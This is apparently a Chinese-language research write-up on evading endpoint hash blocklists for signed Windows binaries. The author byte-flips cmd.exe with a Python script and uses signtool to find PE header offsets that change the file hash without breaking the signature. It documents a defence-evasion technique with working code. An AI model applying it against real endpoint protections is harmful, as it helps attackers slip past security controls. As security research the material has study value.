这个想法是为了绕过阻止已知“恶意”签名应用程序(如“regsvr32.exe”)的端点解决方案。我想找到一种方法来获得具有不同哈希的有效签名文件。
使用 signtool verify /v /a cmd.exe
C:\signcheck>signtool verify /a /v cmd.exe
Verifying: cmd.exe
File is signed in catalog: C:\windows\system32\CatRoot\{F750E6C3-38EE-11D1-85E5-
00C04FC295EE}\Microsoft-Windows-Foundation-Package~31bf3856ad364e35~amd64~~6.1.7
601.17514.cat
Hash of file (sha1): 7EB22CBAA74B208DF433C70C06A99280036A52F3
Signing Certificate Chain:
Issued to: Microsoft Root Certificate Authority
Issued by: Microsoft Root Certificate Authority
Expires: Sun May 09 19:28:13 2021
SHA1 hash: CDD4EEAE6000AC7F40C3802C171E30148030C072
我以为根据输出(7EB22CBAA74B208DF433C70C06A99280036A52F3),“文件哈希”是 cmd.exe 的 SHA1。
进一步检查表明,cmd.exe 文件的 SHA1 是
$ sha1sum.exe cmd.exe
0f3c4ff28f354aede202d54e9d1c5529a3bf87d8 *cmd.exe
有趣的是,同一个文件有 2 个不同的哈希。
此时我怀疑签名可能不包含文件的所有部分。
我写了一个简单的 Python 脚本来生成测试文件。
import sys
orig = list(open(sys.argv[1], "rb").read())
i = 0
while i < len(orig):
current = list(orig)
current[i] = chr(ord(current[i]) ^ 0xde)
path = "%d.exe" % i
output = "".join(str(e) for e in current)
open(path, "wb").write(output)
i += 1
print "done"
然后执行了 python generate.py cmd.exe,生成了超过 300 GB 的新文件。
现在我们需要验证我们创建的每个文件,看它们是否通过签名测试。
一个简单的批处理文件就可以做到这一点
FOR /L %%A IN (1,1,10000) DO (
signtool verify /v /a %%A.exe
)
二进制文件 330.exe 通过了签名检查。在这种情况下,文件是不同的,因为偏移量 330 被修改了。
C:\signcheck>signtool verify /a /v 330.exe
Verifying: 330.exe
File is signed in catalog: C:\windows\system32\CatRoot\{F750E6C3-38EE-11D1-85E5-
00C04FC295EE}\Microsoft-Windows-Foundation-Package~31bf3856ad364e35~amd64~~6.1.7
601.17514.cat
Hash of file (sha1): 7EB22CBAA74B208DF433C70C06A99280036A52F3
$ sha1sum.exe 330.exe
4c05efb9d67291febe44f8c661db55a1ec06bc41 *330.exe
$ sha1sum cmd.exe
0f3c4ff28f354aede202d54e9d1c5529a3bf87d8 *cmd.exe
以下字节可以在不破坏签名的情况下进行修改:
330, 331, 408 - 412
以下字节可以在不破坏签名的情况下进行修改:
320 - 323, 400 - 407
以下字节可以在不破坏签名的情况下进行修改:
216 - 219